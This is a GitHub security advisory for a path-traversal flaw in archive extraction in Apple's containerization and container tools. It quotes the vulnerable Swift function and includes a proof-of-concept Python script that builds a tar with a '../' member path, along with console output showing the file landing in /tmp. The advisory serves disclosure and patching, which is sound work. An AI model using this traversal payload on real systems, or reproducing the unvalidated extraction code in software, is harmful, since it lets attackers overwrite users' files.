AI and data stack advisories

Severe, 6 weeks1496Projects326

1496 severe, 6 weeks · 326 projects

AppleGHSA-cq3j-qj2h-6rv3

Archive extraction does not guard against escapes from extraction base directory

Apple

CVE-2026-20613 · Published Jan 22, 2026

Low
Fix: upgrade to 0.21.0 or later (2 fixed versions below)
GitHub advisory

Summary

The ArchiveReader.extractContents() function used by cctl image load and container image load performs no pathname validation before extracting an archive member. This means that a carelessly or maliciously constructed archive can extract a file into any user-writable location on the system using relative pathnames.

Details

The code in question is: https://github.com/apple/containerization/blob/main/Sources/ContainerizationArchive/Reader.swift#L180.

```swift

/// Extracts the contents of an archive to the provided directory.

/// Currently only handles regular files and directories present in the archive.

public func extractContents(to directory: URL) throws {

let fm = FileManager.default

var foundEntry = false

for (entry, data) in self {

guard let p = entry.path else { continue }

foundEntry = true

let type = entry.fileType

let target = directory.appending(path: p)

switch type {

case .regular:

try data.write(to: target, options: .atomic)

case .directory:

try fm.createDirectory(at: target, withIntermediateDirectories: true)

case .symbolicLink:

guard let symlinkTarget = entry.symlinkTarget, let linkTargetURL = URL(string: symlinkTarget, relativeTo: target) else {...

Affected versions

PackageAffectedFixed in
container
Product
< 0.8.00.8.0
containerization
Product
< 0.21.00.21.0
Details and references

### Summary The `ArchiveReader.extractContents()` function used by `cctl image load` and container image load performs no pathname validation before extracting an archive member. This means that a carelessly or maliciously constructed archive can extract a file into any user-writable location on the system using relative pathnames. ### Details The code in question is: https://github.com/apple/containerization/blob/main/Sources/ContainerizationArchive/Reader.swift#L180. ```swift /// Extracts the contents of an archive to the provided directory. /// Currently only handles regular files and directories present in the archive. public func extractContents(to directory: URL) throws { let fm = FileManager.default var foundEntry = false for (entry, data) in self { guard let p = entry.path else { continue } foundEntry = true let type = entry.fileType let target = directory.appending(path: p) switch type { case .regular: try data.write(to: target, options: .atomic) case .directory: try fm.createDirectory(at: target, withIntermediateDirectories: true) case .symbolicLink: guard let symlinkTarget = entry.symlinkTarget, let linkTargetURL = URL(string: symlinkTarget, relativeTo: target) else { continue } try fm.createSymbolicLink(at: target, withDestinationURL: linkTargetURL) default: continue } chmod(target.path(), entry.permissions) if let owner = entry.owner, let group = entry.group { chown(target.path(), owner, group) } } guard foundEntry else { throw ArchiveError.failedToExtractArchive("no entries found in archive") } } ``` ### PoC Sample script `make-evil-tar.py`: ```python #! /usr/bin/env python3 import tarfile import io import time tar_path = "evil.tar" # Content of the file inside the tar payload = b"pwned\n" with tarfile.open(tar_path, "w") as tar: info = tarfile.TarInfo( name="../../../../../../../../../../../tmp/pwned.txt" ) info.size = len(payload) info.mtime = int(time.time()) info.mode = 0o644 tar.addfile(info, io.BytesIO(payload)) print(f"Created {tar_path}") ``` ```console % ./make-evil-tar.py Created evil.tar % mv evil.tar /tmp % cd /tmp % ls pwned.txt ls: pwned.txt: No such file or directory % ~/projects/jglogan/containerization/bin/cctl images load -i evil.tar Error: notFound: "/var/folders/6k/tnyh0vfd07z0f9mr5cg7zs5r0000gn/T/8493984C-33AE-44BB-91BB-AE486F3095FC/oci-layout" % cat pwned.txt pwned ``` ### Impact Affects users of `cctl image load` in the containerization project, and any projects that depend on containerization and use the `extractContent()` function. Affects users of `container image load` in the container project. These operations can extract a file into any user-writable location on the system using carefully chosen pathnames. This advisory is **not** a privilege escalation, the affected files can only be written to already user-writable locations.

Severity from
GitHub (reviewed advisory)

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